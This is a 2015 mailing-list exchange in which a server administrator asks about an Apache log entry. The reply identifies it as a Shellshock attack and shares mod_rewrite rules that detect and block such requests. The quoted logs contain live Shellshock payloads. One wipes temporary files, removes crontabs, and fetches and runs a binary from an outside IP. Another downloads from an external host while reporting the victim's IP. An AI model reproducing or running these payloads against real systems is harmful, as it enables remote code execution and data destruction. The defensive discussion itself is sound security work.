On 02.07.2015 17:55, Kurtis Rader wrote:
On Thu, Jul 2, 2015 at 5:00 AM, Victor Sterpu <vic...@casnt.ro
<mailto:vic...@casnt.ro>> wrote:
A hacker attacked a apache2 web server by HTTP injection.
The log show what he has done:
62.1.212.154 - - [01/Jul/2015:17:02:06 +0300] "GET
/phppath/cgi_wrapper HTTP/1.1" 404 280 "-" "() { :;};/usr/bin/perl
-e 'print \"Content-Type:
text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/
; rm -rf /tmp/* ; rm -rf /var/tmp/* ; rm -rf /tmp/.* ; rm -rf
/var/tmp/.* ; crontab -r ; killall -9 wget fetch curl lwp-download
b f r xx y i.gif print start pscan pnscan ps ; wget
http://80.68.94.216/sc.gif ; curl -O http://80.68.94.216/sc.gif ;
chmod +x sc.gif ; nohup ./sc.gif & \");'"
How can I prevent this in the future and how can I reproduce?
I tried to reproduce but is not clear how he launched this command
and I want to know so I can test my vulnerabilities in the future.
The path "/phppath/cgi_wrapper" doesn't exist at all.
That's a shellshock attack. I use the following rewrite rule to detect
them so my monitoring software can automatically block the source of
the attack. The /blocked.php script sets the HTTP status to 400.
# This protects against attempts to exploit the Bash execution bug
(known as
# "shellshock"). We're not susceptible to the attack but this makes it
easy to
# spot the attack and blackhole the source. See
# http://en.wikipedia.org/wiki/Shellshock_%28software_bug%29).
RewriteCond %{QUERY_STRING} ^.*=\(\) [OR]
RewriteCond %{HTTP_REFERER} ^\(\)\s{ [OR]
RewriteCond %{HTTP_COOKIE} ^\(\)\s{ [OR]
RewriteCond %{HTTP_USER_AGENT} ^\(\)\s{
RewriteRule ^ /blocked.php [END,E=error-notes:shellshock-exploit]
Here's the log entry for the most recent attack the above rule caught
(I have a custom log format):
2015-06-28T06:08:02 1435496882.639185 400 shellshock-exploit 6491 616
194.8.18.88 75.101.21.75 "GET / HTTP/1.0" "() { :;}; /bin/bash -c
\"wget -O /tmp/bbb
dprftp.asuscomm.com/novo.php?ip=37352e3130312e32312e3735\
<http://dprftp.asuscomm.com/novo.php?ip=37352e3130312e32312e3735%5C>""
--
Kurtis Rader
Caretaker of the exceptional canines Junior and Hank
Thank you.
